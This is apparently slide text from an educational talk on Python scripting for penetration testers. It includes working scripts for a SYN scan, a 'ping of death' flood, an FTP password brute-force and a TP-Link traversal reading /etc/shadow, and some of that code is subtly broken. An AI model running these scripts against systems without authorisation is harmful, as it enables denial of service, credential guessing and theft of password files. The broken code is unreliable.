Python and InfoSec

Scripting & Tools for Pentesters

Who am i ?

Humberto Júnior

Systems Security Specialist @
Conductor Tecnologia

Cloud and Security Consultor @
Plan - Desenvolvimento e Consultoria

Teacher @
IESP / Unipê / Estácio João Pessoa

Why Security ?

Cryptojacking Attacks Explode by 8,500 Percent

Targeted Attackers Sneak in, Dwell for Years

Implanted Malware Attacks the Software Supply Chain

Mobile Malware Continues its Surge: Variants up 54%

Ransomware Prices Down, Disruption Up

https://www.symantec.com/security-center/threat-report

What is Pentest for ?

Active detection of Vulnerabilities in a security evaluation on a computer, application, network, database, website

Objective:

Discover weak parts in a system for auditing/mitigating risks/exploiting/ hacking

What is Pentest for ?

- *Identify threats that might expose confidentiality*
- *assesses network's efficiency*
- *Changes in infrastructure might lead to vulnerabilities*
- *Proactive exercise to minimize the chance to be exploited*
- *Ensure whether suitable security policies are being followed or not*

What a Pentester does ?

Tests the network using manual techniques or relevant tools.

There are lots of tools: open source or even paid (a lot of money) tools

OR: You can make your own tools!

Security O.S.


BLACK
ARCH


BACKBOX


<< back | track


KALI LINUX™
"the quieter you become, the more you are able to hear"

Useful Tools

- **Burp Suite** - https://portswigger.net/burp
- **nmap** - https://nmap.org
- **netcat** - http://netcat.sourceforge.net
- **OWASP ZAP**
- **Aircrack-ng** - www.aircrack-ng.org
- **Metasploit** - www.metasploit.com

Useful Tools

Written in Python

- **Faraday** - https://github.com/infobyte/faraday/
- **sqlmap** - https://github.com/sqlmapproject/sqlmap
- **recon-ng** - https://bitbucket.org/LaNMaSteR53/recon-ng
- **scapy** - https://scapy.net
- **Volatility** - http://www.volatilityfoundation.org
- **MITM Proxy** - https://mitmproxy.org/
- **Beautiful Soup** - http://www.crummy.com/software/BeautifulSoup/
- **Pompem** - https://github.com/rfunix/Pompem
- **AutoSploit** - https://github.com/NullArray/AutoSploit

Our own tools

- *Packet Crafting*
- *Sniffers*
- *Server Probe*
- *Port Scanner*
- *Exploiting tools*
- *Automating tools*
- *Plugins*

Our own tools

Half-open scan

1. *Client sends an SYN to the server*
2. *If port is open, server responds with SYN/ACK*
3. *If server responds an RST, port is closed*
4. *The Client sends RST to close the initiation*

Our own tools

```
1   from scapy.all import *
2
3   ip1 = IP(src="192.168.1.14", dst="192.168.1.1")
4   tcp1 = TCP(sport=1024, dport=80, flags="S", seq=12345)
5   packet = ip1/tcp1
6
7   p = sr1(packet, inter=1)
8   p.show()
9
10  rs1 = TCP(sport=1024, dport=80, flags="R", seq=12347)
11  packet1 = ip1/rs1
12
13  p1 = sr1(packet1)
14  p1.show()
```

Our own tools

```
Begin emission:
...*Finished sending 1 packets.

Received 4 packets, got 1 answers, remaining 0 packets
###[ IP ]###
  version   = 4
  ihl       = 5
  tos       = 0x0
  len       = 44
  id        = 0
  flags     = DF
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = 0xb76c
  src       = 192.168.1.1
  dst       = 192.168.1.14
  \options   \
###[ TCP ]###
     sport     = http
     dport     = 1024
     seq       = 2541435339
     ack       = 12346
     dataofs   = 6
     reserved  = 0
     flags     = SA
     window    = 5840
     chksum    = 0xf815
     urgptr    = 0
     options   = [('MSS', 1460)]

Begin emission:
.Finished sending 1 packets.
.....................................................................................^Z
[1]+  Stopped                 sudo python halfopen.py
```

89	30.536721	192.168.1.14	192.168.1.1	TCP	54	1024→80 [SYN] Seq=0 Win=8192 Len=0
90	30.541703	192.168.1.1	192.168.1.14	TCP	58	80→1024 [SYN, ACK] Seq=0 Ack=1 Win=5840 Len=0 MSS=1460
91	30.541775	192.168.1.14	192.168.1.1	TCP	54	1024→80 [RST] Seq=1 Win=0 Len=0

Our own tools

ping of death

1. *Old school DoS attack in which attacker sends a ping requester larger than 65.536bytes using TCP/IP fragmentation to be broken down into smaller segments*

```
1  from scapy.all import *
2
3  ip1 = IP(src="192.168.1.14", dst="192.168.1.1")
4
5  packet = ip1/ICMP()/("m"*60000)
6  send(packet)
```

Our own tools

Information Gathering (Python v2.7)

1. Parse all links from a website

```
1   import urllib
2   from bs4 import BeautifulSoup
3
4   url = raw_input("Enter the URL: ")
5   ht = urllib.urlopen(url)
6
7   html_page = ht.read()
8
9   b_object = BeautifulSoup(html_page)
10  print(b_object.title)
11  print(b_object.title.text)
12  for link in b_object.find_all('a'):
13      print(link.get('href'))
```

Our own tools

Nmap Integration (*pip install python-nmap*)

```python
import nmap
import optparse

def nmapScan(tgtHost, tgtPort):
    nmScan = nmap.PortScanner()
    nmScan.scan(tgtHost, tgtPort)
    state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
    print(" [*] " + tgtHost + " tcp/"+ tgtPort +" "+state)

def main():
    parser = optparse.OptionParser('usage%prog '+'-H <target host> -p <target port>')
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
    parser.add_option('-p', dest='tgtPort', type='string', help='specify target port[s] separated by comma')
    (options, args) = parser.parse_args()
    tgtHost = options.tgtHost
    tgtPorts = str(options.tgtPort).split(', ')

    if (tgtHost == None) | (tgtPorts[0] == None):
        print(parser.usage)
        exit(0)
    for tgtPort in tgtPorts:
        nmapScan(tgtHost, tgtPort)

if __name__ == '__main__':
    main()
```

```
(venv2.7) MacBook-Pro-SEC:codigos Junior$ python nmapscan.py -H 192.168.1.1 -p 80
 [*] 192.168.1.1 tcp/80 open
```

Our own tools

Brute force FTP with credentials (dictionary based)

```python
import ftplib

def bruteLogin(hostname, passwdFile):
    pF = open(passwdFile, 'r')

    for line in pF.readlines():
        userName = line.split(':')[0]
        passWord = line.split(':')[1].strip('\r').strip('\n')
        print "[+] Trying: "+userName+"/"+passWord
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login(userName, passWord)
        print '\n[*] ' + str(hostname) + ' FTP Logon Succeeded: '+userName+"/"+passWord
        ftp.quit()
        return (userName, passWord)
    except Exception, e:
        pass
        print '\n[-] Could not brute force FTP credentials.'
        return (None, None)

host = '192.168.1.1'
passwdFile = 'userpass.txt'
bruteLogin(host, passwdFile)
```

```
(venv2.7) MacBook-Pro-SEC:codigos Junior$ python ftpanonscan.py
[+] Trying: administrator/12345
[+] Trying: admin/admin
[+] Trying: root/root
[+] Trying: root/toor
[+] Trying: guest/password

[-] Could not brute force FTP credentials.
```

My own tools

TPLink Directory Traversal

```python
#!/usr/bin/python3

import urllib.request
url = 'http://192.168.1.2/help/../../etc/shadow'
user_agent = 'Mozilla/5.0 (Windows NT 6.1; WIN64; x64)'
header = {'User-Agent' : user_agent}

try:
    response = urllib.request.urlopen(url)
    print(response.read())
except urllib.error.HTTPError as e:
    print(e)
except urllib.error.URLError  as u:
    print(u)


if ("root" in response):
    print(url, " is vulnerable")
else:
    print("ok")
```

My other tools

github.com/halencarjunior

SnakeMail v.0.0.1

Python script for Sendmail AWS SES Optimized

License GPL v3

Ms15034.py

Simple Python script for MS15_034 vulnerability scan and exploit

- CVE-2015-1635
- MS15-034 Bulletin

License GPL v3

HTTPSScan-PYTHON v.1.8.2

Conversion of original HTTPSScan coded by Alexos Labs Python script for testing the SSL/TLS Protocols

License GPL v3

Any Questions ?

Thank You!

halencarjunior@protonmail.com

github.com/halencarjunior